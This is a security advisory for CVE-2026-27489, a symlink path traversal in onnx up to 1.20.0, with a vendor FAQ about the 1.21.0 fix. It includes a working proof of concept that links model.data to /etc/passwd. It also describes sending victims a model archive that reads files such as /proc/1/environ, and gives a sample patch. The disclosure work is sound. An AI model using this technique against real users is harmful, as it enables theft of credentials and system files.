CVE-2026-27489

A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

Details

The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:
https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

PoC

# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"):
    weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

    X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
    Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
    W = numpy_helper.from_array(weight_matrix, name="W")

    matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

    graph = helper.make_graph(
        nodes=[matmul_node],
        name="SimpleModel",
        inputs=[X],
        outputs=[Y],
        initializer=[W]
    )

    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
    onnx.checker.check_model(model)

    data_file = output_path.replace('.onnx', '.data')

    if os.path.exists(output_path):
        os.remove(output_path)
    if os.path.exists(data_file):
        os.remove(data_file)

    onnx.save_model(
        model,
        output_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=os.path.basename(data_file),
        size_threshold=1024 * 1024
    )

if __name__ == "__main__":
    create_onnx_model("model.onnx")

1. Run the above code to generate a sample model with external data.
2. Remove model.data
3. Run ln -s /etc/passwd model.data
4. Load the model using the following code
5. Observe check for symlink is bypassed and model is succesfuly loaded

import onnx
from onnx.external_data_helper import load_external_data_for_model

def load_onnx_model_basic(model_path="model.onnx"):
    model = onnx.load(model_path)
    return model

def load_onnx_model_explicit(model_path="model.onnx"):
    model = onnx.load(model_path, load_external_data=False)
    load_external_data_for_model(model, ".")
    return model

if __name__ == "__main__":
    model = load_onnx_model_basic("model.onnx")

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.

Sample patch

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>

int open_external_file_no_symlink(const char *base_dir,
                                  const char *relative_path) {
    int dirfd = -1;
    int fd = -1;
    struct stat st;

    // Open base directory
    dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
    if (dirfd < 0) {
        return -1;
    }

    // Open the target relative to base_dir
    // O_NOFOLLOW => fail if final path component is a symlink
    fd = openat(dirfd,
                relative_path,
                O_RDONLY | O_NOFOLLOW);
    close(dirfd);

    if (fd < 0) {
        // ELOOP is the typical error if a symlink is encountered
        return -1;
    }

    // Inspect the *opened file*
    if (fstat(fd, &st) != 0) {
        close(fd);
        return -1;
    }

    // Enforce "regular file only"
    if (!S_ISREG(st.st_mode)) {
        close(fd);
        errno = EINVAL;
        return -1;
    }

    // fd is now:
    // - not a symlink
    // - not a directory
    // - not a device / FIFO / socket
    // - race-safe
    return fd;
}

Resources

• https://cwe.mitre.org/data/definitions/61.html
• https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172
• https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.

NOTE: this issue is not limited to UNIX.

Kodem intelligence

1. What is CVE-2026-27489? CVE-2026-27489 is a high-severity security vulnerability in onnx (pip), affecting versions <= 1.20.0. It is fixed in 1.21.0.
2. Which versions of onnx are affected by CVE-2026-27489? onnx (pip) versions <= 1.20.0 is affected.
3. Is there a fix for CVE-2026-27489? Yes. CVE-2026-27489 is fixed in 1.21.0. Upgrade to this version or later.
4. Is CVE-2026-27489 exploitable, and should I be worried? Whether CVE-2026-27489 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-27489 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-27489? Upgrade onnx to 1.21.0 or later.